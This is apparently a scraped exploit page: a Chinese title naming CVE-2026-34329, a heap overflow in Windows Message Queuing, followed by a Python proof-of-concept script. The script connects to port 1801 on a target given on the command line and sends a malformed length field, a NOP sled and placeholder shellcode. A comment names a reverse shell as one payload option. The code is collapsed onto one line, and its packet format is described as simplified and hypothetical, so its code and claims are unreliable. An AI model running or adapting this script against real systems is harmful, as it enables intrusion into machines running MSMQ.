CVE-2026-34329 Windows消息队列堆缓冲区溢出漏洞

import socket import struct # CVE-2026-34329 PoC Concept # Target: Windows Message Queuing (MSMQ) # Port: 1801 (TCP) def send_exploit(target_ip, target_port=1801): try: # Connect to the MSMQ service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Construct malicious packet header (Simplified) # This structure attempts to trigger the heap overflow # by sending a malformed length field. header = b"\x00\x00\x00\x00" # Signature header += struct.pack('<I', 0xFFFFFFFF) # Malformed length triggering overflow # Padding and NOP sled followed by hypothetical shellcode payload = b"\x90" * 100 # NOP sled # Shellcode placeholder (e.g., calc.exe or reverse shell) shellcode = b"\xCC\xCC\xCC\xCC" full_packet = header + payload + shellcode print(f"[*] Sending exploit payload to {target_ip}:{target_port}") s.send(full_packet) response = s.recv(1024) print("[+] Response received, check target for crash or execution.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Usage: python script.py <target_ip> import sys if len(sys.argv) < 2: print("Usage: python cve_2026_34329.py <target_ip>") else: send_exploit(sys.argv[1])